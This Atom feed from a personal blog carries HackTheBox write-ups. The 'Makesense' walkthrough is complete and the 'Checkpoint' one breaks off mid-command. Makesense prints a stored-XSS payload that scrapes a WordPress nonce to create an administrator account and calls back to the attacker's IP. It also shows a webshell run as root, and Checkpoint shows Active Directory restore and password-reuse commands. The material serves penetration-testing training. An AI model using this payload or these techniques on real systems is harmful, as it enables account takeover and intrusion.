<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://0xw1ld.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://0xw1ld.github.io/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-11-02T14:13:08+00:00</updated><id>https://0xw1ld.github.io/feed.xml</id><title type="html">0xW1LD</title><subtitle>HackTheBox (HTB) machine writeups and walkthroughs by 0xW1LD — enumeration, web exploitation, Active Directory attacks and Linux/Windows privilege escalation.</subtitle><author><name>0xW1LD</name></author><entry><title type="html">Makesense</title><link href="https://0xw1ld.github.io/htb/2026/11/01/makesense.html" rel="alternate" type="text/html" title="Makesense" /><published>2026-11-01T00:00:00+00:00</published><updated>2026-11-01T00:00:00+00:00</updated><id>https://0xw1ld.github.io/htb/2026/11/01/makesense</id><content type="html" xml:base="https://0xw1ld.github.io/htb/2026/11/01/makesense.html"><![CDATA[<p><img src="/assets/img/img_makesense/0038.jpeg" alt="Makesense HackTheBox machine" /></p>
<h1 id="enumeration">Enumeration</h1>

<h2 id="scans">Scans</h2>

<p>As usual we start off with an <code class="language-plaintext highlighter-rouge">nmap</code> port scan</p>

<div filename="nmap.txt" class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
</pre></td><td class="rouge-code"><pre>PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 27:c3:7d:10:17:3b:dc:29:cf:05:83:33:ab:28:d0:38 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNz4cX4T5eERMWbUEHuFD+1SFwwTAr3tU5E2wQzRQ6m2CzIj/2/fMOU+k/mcyoI0WAXs9PEHIV1H0f+i6JieDRg=
|   256 a3:46:f2:d7:1f:43:41:31:35:a2:88:31:ff:2a:0b:22 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK7SOmIxHJJ8xGjcGaXoiw/5Y7wL3lR3K0SZvc11DnyQ
443/tcp open  ssl/http syn-ack ttl 63 Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: WordPress 7.0
|_http-server-header: Apache/2.4.58 (Ubuntu)
| tls-alpn: 
|_  http/1.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=makesense.htb
| Issuer: commonName=makesense.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-05-29T16:37:29
| Not valid after:  2126-05-05T16:37:29
| MD5:     137e 40f1 46c6 4920 684e 34dc 3a8e 8887
| SHA-1:   a53c 8772 c319 515b 0b1d 42eb 2327 a5f7 1115 2a61
| SHA-256: 59e3 04ab 3225 c2f6 3984 c784 ad89 508d 0baf 8b57 357b 0b2e d597 21d9 5a5b ead5
| -----BEGIN CERTIFICATE-----
| MIIDEzCCAfugAwIBAgIUR42EgNimQclxF1KIe6qw9biQMRYwDQYJKoZIhvcNAQEL
| BQAwGDEWMBQGA1UEAwwNbWFrZXNlbnNlLmh0YjAgFw0yNjA1MjkxNjM3MjlaGA8y
| MTI2MDUwNTE2MzcyOVowGDEWMBQGA1UEAwwNbWFrZXNlbnNlLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAMAnoA091ROmtJRgwPNyKwQVSUGFbxJe
| yJc2Z7n/Je+8gRC1kE3a2l/OMYUv8nywTAtZINLH5qBrROeiTxuKgR8owzG8cGl1
| yR7qt+V++3mIlPL/PHXUqq1qbVpjOIQMUv+I943I3D+sPIsqOkgBYZIPTbKmGyEp
| IxzC/C/pzyLQ8vsyeEnrHLO4o/vvOcsaM0nSjHGy2nxfRomjydrTGnpJJW6mRHVw
| tZQeYRIhVSJmLzdUZ82c+m9ukK4TjaXCv7uvvTLa6C/QGekAzrIe97EgJiwjg0St
| M6Y/Rvhu86w7bhBW+zsYD12c4XMsL7rkG/xvo8Z/twwIu79NwtisVrUCAwEAAaNT
| MFEwHQYDVR0OBBYEFDxcc9+OiExeUGXr8GW4QgyKFEW2MB8GA1UdIwQYMBaAFDxc
| c9+OiExeUGXr8GW4QgyKFEW2MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEL
| BQADggEBAIt8w+pLWhT1cbnVGIfrzNsomEZmrOmwrXtr7kDedmZ8rEEWm1xfwSJg
| bjxil1DY6II/Mx+735lX8YOjGhEY7TbCILu9Y/ADTJJ2SoPoN8+mpow2qREZU4v8
| 29MZdxjpgu8XIOaG+Ey/y0363YFBvFZA2r+eaa3cl2HfEhgK+FY1V3wiGIytqGmn
| vAHZGf6yqHWVz80KDJqjVr7KqLs8fE9TyUq/ZyALzQaNZmXmy1SVGr925yMCRNKB
| tzywkBy38ImY5001Oy6rMm27hpsspUixpF5GxUJRRwstVvoyl7Z0NIYaDDRzHrvs
| D0QNYd9rk+JXxcZSffNRxk1CNSj0fpM=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
|_http-title: Agency LLC
|_http-favicon: Unknown favicon MD5: 718559FB82AD1AD8D785F45A397F18F7
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="443---wordpress-website">443 - Wordpress Website</h2>

<p>Looking around we can find an <code class="language-plaintext highlighter-rouge">https</code> wordpress website 
<img src="/assets/img/img_makesense/0040.jpeg" alt="" /></p>

<h3 id="contact-voice-call">Contact Voice Call</h3>

<p>clicking on the phone icon it seems to start recording a voice message and uploads it, this is rather interesting.</p>

<h3 id="directory-listing-enabled">Directory Listing Enabled</h3>

<p>Looking around we can find that <code class="language-plaintext highlighter-rouge">directory listing</code> is enabled on <code class="language-plaintext highlighter-rouge">wp-content/uploads</code>
<img src="/assets/img/img_makesense/0041.jpeg" alt="" /></p>

<h1 id="user">User</h1>

<h2 id="wordpress-access-as-jake">Wordpress Access as Jake</h2>

<p>Looking around we can find a <code class="language-plaintext highlighter-rouge">voice-message.wav</code> file in <code class="language-plaintext highlighter-rouge">/wp-content/uploads/2026/01/</code>
<img src="/assets/img/img_makesense/0042.jpeg" alt="" /></p>

<p>Downloading this and having a listen it sounds rather strange, however we can upload this to an <a href="https://turboscribe.ai">ai transcriber</a> and we get the following result:</p>

<div filename="Jake Transcription.txt" class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>(0:00) Hey, this is Jake. I'm testing the new feature, and it's exciting. I'm going there.
Oops. Login. (0:07) Um, Jake.
Clear. Light. Nice.
Smooth. 4. 9. 2. 3. 

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We get a transcription of <code class="language-plaintext highlighter-rouge">Jake</code>’s password, playing around with a few variations we get a login as <code class="language-plaintext highlighter-rouge">jake</code>
<img src="/assets/img/img_makesense/0043.jpeg" alt="" /></p>

<h2 id="xss-to-get-admin-access">XSS to get Admin Access</h2>

<p>Playing around I notice that we have a <code class="language-plaintext highlighter-rouge">stored XSS</code> in the <code class="language-plaintext highlighter-rouge">contact message</code> field from the <code class="language-plaintext highlighter-rouge">contact form</code> on the website.
<img src="/assets/img/img_makesense/0044.jpeg" alt="" /></p>

<p>Limited due to <code class="language-plaintext highlighter-rouge">https</code> and <code class="language-plaintext highlighter-rouge">httponly cookies</code> I had an <code class="language-plaintext highlighter-rouge">LLM</code> write a payload to submit a form to create an <code class="language-plaintext highlighter-rouge">admin user</code>.</p>

<div filename="payload.js" class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">x</span> <span class="na">onerror=</span><span class="s">'fetch("/wp-admin/user-new.php",{credentials:"include"}).then(r=&gt;r.text()).then(h=&gt;{let n=h.match(/name="_wpnonce_create-user" value="([^"]+)"/)[1];fetch("/wp-admin/user-new.php",{method:"POST",credentials:"include",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:`action=createuser&amp;_wpnonce_create-user=${n}&amp;user_login=w1ld&amp;email=w1ld@x.io&amp;pass1=Password123!&amp;pass2=Password123!&amp;pass1-text=Password123!&amp;role=administrator&amp;createuser=Add+New+User`})}).then(x=&gt;fetch("http://10.10.14.3/Executed"))'</span> <span class="nt">/&gt;</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>I got a callback on my listener and am able to login as <code class="language-plaintext highlighter-rouge">w1ld</code>
<img src="/assets/img/img_makesense/0045.jpeg" alt="" /></p>

<h2 id="rce-through-theme">RCE through Theme</h2>

<p>We can do the classic method of editing a <code class="language-plaintext highlighter-rouge">theme</code> file to inject <code class="language-plaintext highlighter-rouge">system</code> commands to get command execution 
<img src="/assets/img/img_makesense/0046.jpeg" alt="" /></p>

<p>This gets me a callback on my listener.</p>

<div class="language-bash filename=&quot;Shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>www-data@makesense:/var/www/html/wp-admin<span class="err">$</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="password-reuse-to-walter">Password Reuse to Walter</h2>

<p>taking a look at the <code class="language-plaintext highlighter-rouge">config</code> file we can find <code class="language-plaintext highlighter-rouge">walter</code>’s cleartext password.</p>
<div class="language-plaintext filename=&quot;Cleartext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
</pre></td><td class="rouge-code"><pre>www-data@makesense:/var/www/html$ cat wp-config.php 
&lt;?php
// SQLite database configuration
define( 'DB_DIR', __DIR__ . '/wp-content/database/' );
define( 'DB_FILE', '.ht.sqlite' );

// Dummy MySQL settings (required but not used with SQLite)
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', '[REDACTED]' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );

$table_prefix = 'wp_';
define( 'WP_DEBUG', false );

define('AUTH_KEY',         '%88$_8C0xYR s^9jz;F epY,CO|+Up#ZFIdRS&amp;Gqd~5O/|&lt;^7DmLtEm=SjV|jmWZ');
define('SECURE_AUTH_KEY',  'BD-p*m6hvWAGGBDg%_UC,|&gt;};`C2&lt;1uK&gt;*x!h.Wf*dE;lbhaQVbHw+uc@6OfH&gt;B%');
define('LOGGED_IN_KEY',    ';2fn^sP8F`HK0g,8C&amp;2ar})EifGz@,5Z1{IoDD+CzOT@3w[g~*aM-+=zWcxGBYk2');
define('NONCE_KEY',        's&gt;&gt;f8%soM5P=D$J9UXV-kF]lKZ92.KF%FDS#+! ;(A|C9kMWT(=A&gt;99-&gt;-$$&gt;UvU');
define('AUTH_SALT',        'V 0X(1n-@p&amp;})rQpQB_mEax]D9Z*;iM+23&amp;b]!53._;,).:Lj?1ky56*Vaa~KF(B');
define('SECURE_AUTH_SALT', '-{[x4pgl %S5{_s}nE!%H8,05AO_699M4_[mLt^tVC$Kh4;s|n8~O&lt;CSE4#uPWN.');
define('LOGGED_IN_SALT',   'wUxZI^1#)4o)C1KJ8a5o-k{V3L)agi|fofV0SzuSUI;1k%1 !9Q!P@-*j8Y_j%$;');
define('NONCE_SALT',       'j #rMhd[olj2$j8|QAF7L8rR-D kf&amp;gs,:oX4py6x?6V3|oJ?[b~h,[~3uhH.|X%');

if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', __DIR__ . '/' );
}

define( 'WP_SQLITE_PLUGIN', true );
require_once ABSPATH . 'wp-settings.php';
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Attempting to reuse this gets me a login as <code class="language-plaintext highlighter-rouge">walter</code></p>

<div class="language-bash filename=&quot;Shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="rouge-code"><pre>~/htb/makesense <span class="nv">$ </span>ssh walter@makesense.htb
walter@makesense.htbs password: 
Welcome to Ubuntu 24.04.4 LTS <span class="o">(</span>GNU/Linux 6.8.0-124-generic x86_64<span class="o">)</span>

 <span class="k">*</span> Documentation:  https://help.ubuntu.com
 <span class="k">*</span> Management:     https://landscape.canonical.com
 <span class="k">*</span> Support:        https://ubuntu.com/pro

 System information as of Mon Jul  6 04:11:08 AM UTC 2026

  System load:  1.32              Processes:             233
  Usage of /:   66.1% of 7.53GB   Users logged <span class="k">in</span>:       1
  Memory usage: 15%               IPv4 address <span class="k">for </span>eth0: 10.129.1.64
  Swap usage:   0%


Expanded Security Maintenance <span class="k">for </span>Applications is not enabled.

0 updates can be applied immediately.

2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Jul 6 04:11:10 2026 from 10.10.14.3
walter@makesense:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lash</span> user.txt
4.0K <span class="nt">-rw-r-----</span> 1 root walter 33 Jul  5 15:48 user.txt

</pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">user</code> flag.</p>

<h1 id="root">Root</h1>

<h2 id="root-php-ocr">ROOT PHP OCR</h2>

<p>Looking around we can find <code class="language-plaintext highlighter-rouge">root</code> running an <code class="language-plaintext highlighter-rouge">Optical Character Recognition</code> or <code class="language-plaintext highlighter-rouge">OCR</code> php service.</p>

<div class="language-bash filename=&quot;Root highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>root        1416  0.0  0.7 228488 30176 ?        S    Jul05   0:03 php <span class="nt">-S</span> 127.0.0.1:8001 <span class="nt">-t</span> /root/ocr4/

</pre></td></tr></tbody></table></code></pre></div></div>

<p filename="root ocr.txt">Forwarding the port via <code class="language-plaintext highlighter-rouge">ssl -L 8001:localhost:8001</code> I get to view the service <em>after logging in using walter’s credentials</em>. 
<img src="/assets/img/img_makesense/0047.jpeg" alt="" /></p>

<div filename="image.post" class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">localhost:8001</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate, br</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">6151</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://localhost:8001</span>
<span class="na">Authorization</span><span class="p">:</span> <span class="s">Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://localhost:8001/</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=se8bq0tqhnggobskelksufpunm</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0, i</span>

canvas_image=data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAAfQAAADICAYAAAAeGRPoAAAQx0lEQVR4Xu3dS4hkVxkH8Jme7snMJMTEEAkazEJBomYhEiQoBkJAJC6jiAi68rERgqAuJiAk6EZEEF2JCCJoRtwIUfER0BBECAombqKiaDQTCEGT9Pvhd4bq8XZNT7rqVHXVuV%2F9GpqZ7t
&lt;SNIP&gt;
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Which it then allows us to save as a file and it gets output to <code class="language-plaintext highlighter-rouge">saved/&lt;filename.ext&gt;</code></p>

<p>After <strong>a lot</strong> of fiddling I come up with the following image and grab it’s <code class="language-plaintext highlighter-rouge">base64</code> to upload. 
<img src="/assets/img/img_makesense/0048.jpeg" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">OCR</code> recognized our <code class="language-plaintext highlighter-rouge">payload</code>
<img src="/assets/img/img_makesense/0049.jpeg" alt="" /></p>

<p>We can then execute the <code class="language-plaintext highlighter-rouge">php</code> file to run commands as <code class="language-plaintext highlighter-rouge">root</code></p>

<div class="language-bash filename=&quot;Command highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>~/htb/makesense <span class="nv">$ </span>curl http://localhost:8001/saved/w1ld.php?c<span class="o">=</span><span class="nb">whoami
</span>root
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can grab a <code class="language-plaintext highlighter-rouge">root</code> shell.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>root@makesense:~/ocr4/saved# <span class="nb">cd</span> ~
root@makesense:~# <span class="nb">ls</span> <span class="nt">-lash</span> root.txt
4.0K <span class="nt">-rw-r-----</span> 1 root root 33 Jul  5 15:48 root.txt
</pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">root</code> flag.</p>]]></content><author><name>0xW1LD</name></author><category term="[&quot;HTB&quot;]" /><category term="os/linux" /><category term="diff/medium" /><summary type="html"><![CDATA[MakeSense is running a wordpress website which exposes a voice message file where a user accidentally says their password out loud in the recording. With access to this user we can then exploit a stored XSS to create an administratrive wordpress user. Editing the theme php files we're able to obtain remote command execution on the machine as www-data. Reading the contents of the wordpress config we find walter's cleartext password which we can reuse to ssh into the machine as walter. Finally we can find a PHP OCR application running as root that arbitrarily saves the OCR results as root.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xw1ld.github.io/assets/img/img_makesense/0038.jpeg" /><media:content medium="image" url="https://0xw1ld.github.io/assets/img/img_makesense/0038.jpeg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Checkpoint</title><link href="https://0xw1ld.github.io/htb/2026/10/24/checkpoint.html" rel="alternate" type="text/html" title="Checkpoint" /><published>2026-10-24T00:00:00+00:00</published><updated>2026-10-24T00:00:00+00:00</updated><id>https://0xw1ld.github.io/htb/2026/10/24/checkpoint</id><content type="html" xml:base="https://0xw1ld.github.io/htb/2026/10/24/checkpoint.html"><![CDATA[<p><img src="/assets/img/img_checkpoint/0001.jpeg" alt="Checkpoint HackTheBox machine" /></p>
<h1 id="enumeration">Enumeration</h1>

<blockquote class="info">
  <p>As is common in real life pentests, you will start the Checkpoint box with credentials for the following account alex.turner / Checkpoint2024!</p>
</blockquote>

<h2 id="scans">Scans</h2>

<p>As usual we start off with an <code class="language-plaintext highlighter-rouge">nmap</code> port scan</p>

<div class="language-plaintext filename=&quot;nmap txt&quot; highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
</pre></td><td class="rouge-code"><pre>PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-06-15 13:17:26Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49675/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49693/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49706/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
58161/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: -1s
| smb2-time: 
|   date: 2026-06-15T13:18:20
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 53057/tcp): CLEAN (Timeout)
|   Check 2 (port 55192/tcp): CLEAN (Timeout)
|   Check 3 (port 37352/udp): CLEAN (Timeout)
|   Check 4 (port 32048/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

</pre></td></tr></tbody></table></code></pre></div></div>

<table id="bkmrk-port%28s%29-service-vers" style="text-align: left"><thead><tr><th>Port(s)</th><th>Service</th><th>Version / Notes</th></tr></thead><tbody><tr><td>53</td><td>DNS</td><td>Simple DNS Plus</td></tr><tr><td>88</td><td>Kerberos</td><td>MS Windows Kerberos — server time `2026-06-15 13:17:26Z`</td></tr><tr><td>135, 49664, 49670, 49671, 49675, 49693, 49706, 58161</td><td>MSRPC</td><td>Microsoft Windows RPC</td></tr><tr><td>139</td><td>NetBIOS</td><td>Microsoft Windows netbios-ssn</td></tr><tr><td>389, 3268</td><td>LDAP</td><td>AD LDAP — domain `checkpoint.htb` — 3268 = Global Catalog</td></tr><tr><td>445</td><td>SMB</td><td>SMB2 signing **enforced**</td></tr><tr><td>464</td><td>kpasswd</td><td>Kerberos password change</td></tr><tr><td>593, 49676</td><td>RPC over HTTP</td><td>Microsoft Windows RPC/HTTP 1.0</td></tr><tr><td>636, 3269</td><td>LDAPS / GC SSL</td><td>`tcpwrapped` — **no TLS cert, connections reset**</td></tr><tr><td>5985</td><td>WinRM</td><td>Microsoft HTTPAPI 2.0 — potential remote shell if creds/ticket work</td></tr><tr><td>9389</td><td>ADWS</td><td>.NET Message Framing — AD Web Services</td></tr></tbody></table>

<h1 id="user">User</h1>

<h2 id="markdavies-via-deleted-object-restore">Mark.Davies via Deleted Object Restore</h2>

<p>Taking a look at our access as <code class="language-plaintext highlighter-rouge">alex.turner</code> we find that we can <code class="language-plaintext highlighter-rouge">Reanimate Tombstone</code> for <code class="language-plaintext highlighter-rouge">Mark Davies</code> and the <code class="language-plaintext highlighter-rouge">Employees OU</code>.</p>

<div class="language-bash filename=&quot;Reanimate highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre>checkpoint.htb/alex.turner@ldap/dc01.checkpoint.htb@CHECKPOINT.HTB ~/htb/labs/checkpoint <span class="nv">$ </span>bloodyAD <span class="nt">-v</span> TRACE <span class="nt">-H</span> DC01.CHECKPOINT.HTB <span class="nt">-d</span> CHECKPOINT.HTB <span class="nt">-k</span> get writable
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Connection URL: ldap+kerberos-ccache://CHECKPOINT.HTB<span class="se">\N</span>one:alex.turner.ccache@DC01.CHECKPOINT.HTB/?serverip<span class="o">=</span>10.129.1.28&amp;dc<span class="o">=</span>10.129.1.28
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Trying to connect to DC01.CHECKPOINT.HTB...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Connection successful

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Deleted Objects,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
DACL: WRITE

distinguishedName: <span class="nv">CN</span><span class="o">=</span>S-1-5-11,CN<span class="o">=</span>ForeignSecurityPrincipals,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
permission: WRITE

distinguishedName: <span class="nv">OU</span><span class="o">=</span>Employees,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
permission: CREATE_CHILD

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Alex Turner,OU<span class="o">=</span>Employees,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
permission: WRITE

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Mark Davies<span class="se">\0</span>ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN<span class="o">=</span>Deleted Objects,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
permission: WRITE

distinguishedName: <span class="nv">DC</span><span class="o">=</span>checkpoint.htb,CN<span class="o">=</span>MicrosoftDNS,DC<span class="o">=</span>DomainDnsZones,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
permission: CREATE_CHILD

distinguishedName: <span class="nv">DC</span><span class="o">=</span>_msdcs.checkpoint.htb,CN<span class="o">=</span>MicrosoftDNS,DC<span class="o">=</span>ForestDnsZones,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
permission: CREATE_CHILD
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ll use <code class="language-plaintext highlighter-rouge">bloodyAD restore</code> to recover the user account from the tombstones.</p>

<div class="language-bash filename=&quot;Reanimate highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>checkpoint.htb/alex.turner@ldap/dc01.checkpoint.htb@CHECKPOINT.HTB ~/htb/labs/checkpoint <span class="nv">$ </span>bloodyAD <span class="nt">-v</span> TRACE <span class="nt">-H</span> DC01.CHECKPOINT.HTB <span class="nt">-d</span> CHECKPOINT.HTB <span class="nt">-k</span> <span class="nb">set </span>restore <span class="s2">"mark.davies"</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Connection URL: ldap+kerberos-ccache://CHECKPOINT.HTB<span class="se">\N</span>one:alex.turner.ccache@DC01.CHECKPOINT.HTB/?serverip<span class="o">=</span>10.129.1.28&amp;dc<span class="o">=</span>10.129.1.28
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Trying to connect to DC01.CHECKPOINT.HTB...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Connection successful
<span class="o">[</span>+] mark.davies has been restored successfully under <span class="nv">CN</span><span class="o">=</span>Mark Davies,OU<span class="o">=</span>Employees,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Seeing as the assumed breach credentials seemed a bit like a default password, I tried password reuse and it worked!</p>

<div class="language-bash filename=&quot;Mark Davies highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>~/htb/labs/checkpoint <span class="nv">$ </span>getTGT.py <span class="s1">'CHECKPOINT.HTB/mark.davies:Checkpoint2024!'</span> 
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies 

